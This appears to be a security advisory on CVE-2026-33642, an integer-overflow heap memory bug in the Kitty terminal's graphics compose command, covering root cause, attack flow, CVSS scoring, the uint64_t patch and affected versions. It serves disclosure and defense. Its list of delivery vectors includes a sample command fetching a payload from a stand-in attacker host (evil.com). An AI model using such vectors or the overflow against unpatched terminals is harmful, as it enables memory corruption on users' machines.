Introduction
A single crafted escape sequence written to a Kitty terminal window can trigger a heap buffer over-read or over-write with no user interaction, no special configuration, and no elevated privileges. With a CVSS score of 9.9, CVE-2026-33642 represents one of the more severe terminal emulator vulnerabilities disclosed this year, affecting anyone who uses Kitty to view files, connect to SSH servers, or pipe command output.
Kitty is a cross platform, GPU accelerated terminal emulator developed by Kovid Goyal. It has a substantial user base among developers and power users on Linux, macOS, and BSD systems, valued for its performance, custom graphics protocol, ligature support, and deep scriptability. Because Kitty is a daily driver terminal for many engineers, a vulnerability that can be triggered simply by displaying output has a wide and immediate blast radius.
Technical Information
Root Cause: Unsigned 32-bit Integer Overflow in Bounds Validation
The vulnerability lives in the handle_compose_command() function within kitty/graphics.c. This function handles compose operations in Kitty's graphics protocol, which allow composing (blitting) rectangles from one image frame onto another. The bug is specifically in how offset and dimension values were stored and validated before being used in bounds checks.
Prior to the fix, six local variables were declared as unsigned int (32-bit):
const unsigned int width = g->width ? g->width : img->width; const unsigned int height = g->height ? g->height : img->height; const unsigned int dest_x = g->x_offset, dest_y = g->y_offset, src_x = g->cell_x_offset, src_y = g->cell_y_offset;
The function then performed a bounds check like:
if (dest_x + width > img->width || dest_y + height > img->height)
The problem is subtle but critical: because all operands in dest_x + width are 32-bit unsigned integers, a crafted graphics compose command with carefully chosen large offset or dimension values can cause the addition to wrap around due to unsigned integer overflow. For example, if dest_x is 0xFFFFFF00 and width is 0x200, the sum dest_x + width overflows to 0x100, a tiny value that incorrectly passes the bounds check. The unchecked offset is then used in pointer arithmetic within compose_rectangles(), causing the heap pointer to land approximately 4 GB past the allocated buffer.
This maps to three CWE classifications: CWE-190 (Integer Overflow or Wraparound), CWE-787 (Out of Bounds Write), and CWE-125 (Out of Bounds Read).
Attack Flow
The attack requires no user interaction and no non-default configuration. An attacker only needs the ability to produce output in a Kitty terminal window. The step by step flow is:
- The attacker crafts a graphics protocol escape sequence containing a compose command with carefully chosen
x_offsetandy_offsetvalues designed to trigger unsigned 32-bit integer overflow when added to the image dimensions. - The crafted escape sequence is delivered to the victim's Kitty terminal. This can happen through multiple vectors:
- Viewing a malicious file (e.g.,
cat image_spec.bin) - Connecting to an SSH server with a crafted login banner (
/etc/motd) - Piping HTTP responses (e.g.,
curl http://evil.com/payload) - Tailing application logs (
tail -f /var/log/app.log) - Receiving forwarded output through terminal multiplexers like tmux or screen
- Viewing a malicious file (e.g.,
- Kitty's
handle_compose_command()processes the escape sequence. The bounds check using 32-bit arithmetic wraps around, and the malicious values pass validation. - The
compose_rectangles()function uses the unchecked offsets in pointer arithmetic, accessing heap memory far outside the allocated image buffer. - The result is a heap buffer over-read, over-write, or application crash (SIGBUS) depending on the memory layout.
CVSS v3.1 Breakdown
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Changed |
| Confidentiality Impact | Low |
| Integrity Impact | Low |
| Availability Impact | High |
| Base Score | 9.9 Critical |
The "Changed" scope reflects that exploitation in the terminal emulator context can affect resources beyond the vulnerable component itself.
Patch Information
The vulnerability was fixed by Kitty maintainer Kovid Goyal in commit e9661f0f3afb4e4dbffa509adfb3df3c9780ad34, authored on 2026-03-22 and shipped in Kitty version 0.47.0 (released 2026-05-19). The official changelog entry reads: "Graphics protocol: Fix crash when handling invalid offset values in graphics compose commands (CVE 2026-33642)."
The fix is elegant and minimal, consisting of only 4 lines of additions and 3 deletions. The patch widens the type of the six local variables from unsigned int to uint64_t:
// Before (vulnerable): const unsigned int width = g->width ? g->width : img->width; const unsigned int height = g->height ? g->height : img->height; const unsigned int dest_x = g->x_offset, dest_y = g->y_offset, src_x = g->cell_x_offset, src_y = g->cell_y_offset; // After (fixed): // Use uint64_t to avoid overflow when testing for validity. // All dimensions are 32bit numbers. const uint64_t width = g->width ? g->width : img->width; const uint64_t height = g->height ? g->height : img->height; const uint64_t dest_x = g->x_offset, dest_y = g->y_offset, src_x = g->cell_x_offset, src_y = g->cell_y_offset;
By promoting these variables to 64-bit integers, the sum dest_x + width can never overflow because the inputs are at most 32-bit values, and their sum fits comfortably within a 64-bit integer. The existing bounds check logic (dest_x + width > img->width) then works correctly for all possible input values without any risk of wraparound. This is a well known defensive pattern for preventing integer overflow in bounds checks: perform the arithmetic in a wider type than the input data.
Version guidance note: While the initial GitHub Security Advisory (GHSA-qfgm-2c64-6x3x) mentions version 0.46.3 as a patched release, the official CVE record and the Kitty changelog explicitly state that the issue is fixed in version 0.47.0. Organizations should standardize on 0.47.0 as the safe baseline.
| Source | Affected Versions | Patched Version |
|---|---|---|
| GHSA Advisory | <= 0.46.2 | 0.46.3 |
| CVE Record | < 0.47.0 | 0.47.0 |
| Official Changelog | Mentions CVE 2026-33642 | 0.47.0 |
For environments maintaining forks or carrying downstream patches, backporting commit e9661f0 exactly is required. If immediate patching is not possible, users should temporarily avoid using Kitty to view untrusted logs, connect to untrusted SSH servers, or cat unknown binary files.
Affected Systems and Versions
All versions of Kitty 0.46.2 and below are affected. The vulnerability exists in the handle_compose_command() function in kitty/graphics.c, which is part of the graphics protocol implementation present across all supported platforms:
- Linux (all distributions packaging Kitty <= 0.46.2)
- macOS (confirmed crash on ARM64 with Kitty 0.46.2 stable)
- BSD systems running Kitty <= 0.46.2
The default Kitty configuration is vulnerable. No non-default settings or special features need to be enabled for exploitation.
The fixed version is 0.47.0.
Vendor Security History
The Kitty project does not issue security specific releases. Security bugs are fixed and released alongside standard bug fixes and feature updates. This means organizations relying on Kitty cannot wait for a separately labeled security patch and must track upstream releases to stay current on security fixes.



